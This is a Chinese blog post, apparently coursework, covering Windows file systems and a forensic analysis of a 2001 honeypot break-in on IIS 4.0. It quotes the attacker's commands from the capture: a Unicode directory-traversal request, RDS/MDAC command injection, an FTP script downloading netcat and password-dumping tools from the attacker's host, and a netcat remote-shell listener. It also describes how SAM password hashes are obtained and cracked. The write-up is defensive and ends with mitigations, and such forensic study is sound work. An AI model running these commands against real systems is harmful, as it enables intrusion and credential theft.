Windows操作系统及其安全机制

kali视频学习请看

http://www.cnblogs.com/lidong20179210/p/8909569.html

Windows操作系统及其安全机制

Windows文件系统

  • FAT (File Allocation Table文件分配表)
    •  1980: FAT12
    •  1987: FAT16
    •  1995: FAT32
    •  文件目录表: Table; 文件分配表: Linked List
    •  安全性弱,正在被NTFS取代
  • NTFS (NT File System)
    •  1990s: M$/IBM joint project, 从OS/2文件系统HPFS继承
    •  NTFS v3.x for Windows NT 5.x, 较FAT更具安全性(ACL),更好的性能、可靠性和磁盘利用效率
    •  基于访问控制列表机制保证文件读写安全性
    •  支持任意UTF-16命名,使用B+树进行索引, …
    •  Metadata保存文件相关各种数据,保存在Meta File
      Table(MFT)

使用Metaspoit攻击MS08-067

见另一篇博文 使用Metaspoit攻击MS08-067

分析 NT 系统破解攻击

案例分析挑战内容:

  • 2001年2月4日,来自213.116.251.162的攻击者成功攻陷了蜜罐主机 172.16.1.106(主机名为:lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程
  • 问题:
  1. 攻击者使用了什么破解工具进行攻击?
  2. 攻击者如何使用这个破解工具进入并控制了系统?
  3. 当攻击者获得系统的访问权后做了什么?
  4. 我们如何防止这样的攻击?
  5. 额外奖励问题:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
  • 待分析二进制文件位置:

ftp://222.29.112.10/exercises/course5.zip。
MD5=aca62e19ba49546d2bfd1fa1c71b5751

  • 提示使用工具:
    • snort
    • nstream
    • wireshark

1. 攻击者使用了什么破解工具进行攻击?

  • 问题解答:攻击者利用了Unicode攻击(针对MS00-078/MS01-026)和针对msadcs.dll中RDS漏洞(MS02-065)的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。
  • 分析
  • 首先看到的是攻击者对蜜罐主机安全漏洞的查点过程
    • 从攻击主机213.116.251.162首先访问了蜜罐172.16.1.106上的http://lab.wiretrip.net/Default.htm页面,其User-Agent域设置为Mozilla/4.0 (compatible; MSIE5.01; Windows NT 5.0;Hotbar2.0),Accept字段中显示访问主机安装了MS Word等软件,可推测攻击主机应为NT5.0系统,安装了MSIE5.01和Hotbar2.0插件。
    • 在点击访问了http://lab.wiretrip.net/guest/default.asp内部留言本页面之后,攻击者在SESSION:1765-80中成功进行了Unicode攻击以打开NT系统启动文件boot.ini,其request为:GET/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
    • (注: %C0%AF为’/’的Unicode编码, IIS4.0 和 5.0 存在Unicode Directory Traversal Vulnerability, http://www.securityfocus.com/bid/1806)
    • 随后,在SESSION:1769-80和SESSION:1770-80中,攻击者探测了/msadc/msadcs.dll的存在,并在SESSION:1771-80 中通过msadcs.dll中存在RDS漏洞(注:MS02-065 漏洞,http://www.microsoft.com/technet/security/Bulletin/MS02-065.mspx)进行了SQL注入攻击,尝
      试执行"cmd /c echo werd>>c:\fun"命令。在紧随的SESSION:1772-80 中,攻击者验证其攻击
      确实成功了。

  • 根 据 “ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,我们可以通过 Google 查询到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的。
  • 至此,攻击者通过查点确认了目标系统提供 Web 服务的是臭名昭著的 IIS v4.0,并存在
    Unicode 和 MDAC RDS 安全漏洞,可进行进一步渗透攻击。
攻击技术背景

Unicode 攻击

Unicode 攻击原理解释. 
   利用微软 IIS 4.0 和 5.0 都存在利用扩展 UNICODE 字元取代"/"和"\"而能利用"../"目录遍
历的漏洞。
  未经授权的用户可能利用 IUSR_machinename 账号的上下文空间访问任何已知的文件。该账号在默认情况下属于 Everyone 和 Users 组的成员,因此任何与 Web 根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆
所能完成的一样。
%c0%af = /
%c1%9c = \

MDAC SQL 注入攻击
   IIS的MDAC 组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于 RDS Datafactory, DataFactory允许使用者从远端执行四项功能,包括:「Query」、「CreateRecordSet」、「ConvertToString」和「SubmitChanges」,其中「Query:查询」功能就是黑客用來入侵的地方。默认情况下, 它允许远程命令发送到 IIS 服务器中,这命令会以设备用户的身份运行,其一般默认情况下是 SYSTEM 用户。

2.攻击者如何使用这个破解工具进入并控制了系统?

  • 分析:
  • 观察到每次 RDS 渗透攻击间的间隔时间均为 2-3 秒,可以推测攻击者是预先写好需执
    行的 shell 指令列表,然后由 msadc(2).pl 渗透攻击工具一起执行。
  • 在 RDS 攻击由于粗心大意没写对 FTP 脚本后,攻击者又开始转向 Unicode 攻击,每条
    请求间隔时间大概在 10-12 秒,意味着这些指令可能是由攻击者手工输入的:
SESSION:1874-80 "copy C:\winnt\system32\cmd.exe cmd1.exe"
SESSION:1875-80 "cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80 "cmd1.exe /c echo johna2k >>ftpcom"
SESSION:1877-80 "cmd1.exe /c echo haxedj00 >>ftpcom"
SESSION:1879-80 "cmd1.exe /c echo get nc.exe >>ftpcom"
SESSION:1880-80 "cmd1.exe /c echo get pdump.exe >>ftpcom"
SESSION:1881-80 "cmd1.exe /c echo get samdump.dll >>ftpcom"
SESSION:1882-80 "cmd1.exe /c echo quit >>ftpcom"
SESSION:1885-80 "cmd1.exe /c ftp -s:ftpcom"

这次终于对了,蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程 shell 通道。SESSION:1887-80 "cmd1.exe /c nc -l -p 6969 -e cmd1.exe"接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。

攻击工具介绍: Netcat

NetCat 是一个非常简单的 Unix 工具,可 以读、写 TCP 或 UDP 网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能

详细使用方法参看
我的博客 netcat 瑞士军刀

3.当攻击者获得系统的访问权后做了什么?

通过上述针对 IIS的远程渗透攻击,攻击者获得了IUSER_KENNY 用户账号(IIS启动用户)权限,但显然他并不满足于此,虽然能够通过 MDAC RDS以SYSTEM账号运行任意指令,但攻击者仍然希望获得本地 Administrator 用户权限。

4. 我们如何防止这样的攻击?

这个攻击事件中被利用的两个漏洞为RDS和Unicode漏洞,两者都已经有相应的补丁,通过打补丁可防止遭受同样的攻击。不要使用 IIS4.x 这样臭名昭著的 Web Server,如果必须使用 IIS4.x,主要的防范措施有(参考自黑客大曝光)

  • 1.为这些漏洞打上补丁,
  • 2.禁用用不着的 RDS 等服务,
  • 3.防火墙封禁网络内部服务器发起的连接
  • 4.为 web server 在单独的文件卷上设置虚拟根目录
  • 5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
  • 6.使用 IIS Lockdown 和 URLScan 等工具加强 web server
攻击技术背景
Windows 查点 Windows SAM 口令文件破解
   1、取得 Administrator 特权后,攻击者很可能会径直走向 NT 安全帐号管理器 SAM(Security Accounts Manager),SAM含有本地系统或所控制域(如果是域控)上所有用户的用户名和经加密的密码。SAM是NT系统攻击中的致命部位,与Unix/Linux的/etc/passwd文件相当。因此破解 SAM是特权升级和信任漏洞发掘的最具威力的工具之一。破解SAM揭示密码最流行的工具是经典的L0phtcrack,其宣称在450MHz P2计算机上24小时内就能破解所有的字母数字组合密码。

2、密码破解任务的第一步是获取密码文件,即获取 SAM,但该目录在操作系统运行期间是上锁的,有四种获取 SAM 数据的方法,

一是把以另外一个操作系统如DOS启动,然后从驱动器中摘取 SAM 文件;
二是拷贝由 NT 修复磁盘工具(rdisk)创建的 SAM 文件的拷贝;
三是从 SAM 中直接抽取密码散列值;
四是对网络用户名/密码交互进行网络监听和破解。

3、攻 击 者 采 用 了 第 二 种 方 法 获 取 SAM , rdisk /s- 备 份 关 键 系 统 信 息 , 在 %
systemroot%\repair 目录中就会创建一个名为 sam._的 SAM 压缩拷贝,备份的 sam._文件在使
用之前需要通过 expand 进行扩展, L0phtcrack 的较新版本通过导入功能自动完成扩展工作。

4、攻击者也试图采用第三种方法获取 SAM,将从注册表中直接转存成类似 UNIX 上
/etc/password 文件的格式,完成这个工作的最初工具是由 Jeremy Allison 编写的 pwdump.

5、SAM 密码破解工具
L0phtcrack
John 杀手
带 NT 扩展的 crack 5

Windows Net 命令
net 命令有着非常强大的功能,管理着计算机的绝大部分管理级操作和用户级操作,包
括管理本地和远程用户组数据库、管理共享资源、管理本地服务、进行网络配置等实用操作
NET command /HELP

5.额外奖励问题:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

是的,攻击者绝对意识到了他的目标是作为蜜罐主机的,因为他建立了一个文件,并输入了如下内容 C:>echo best honeypot i've seen till now 😃 > rfp.txt.
因为该目标主机作为 rfp 的个人网站, Web 服务所使用的 IIS 甚至没有更新 rfp 自己所发现的 MDAC RDS安全漏洞,很容易让攻击者意识到这绝对是台诱饵。

posted @ 2018-04-21 17:09  2017dong  阅读(6036)  评论(0编辑  收藏  举报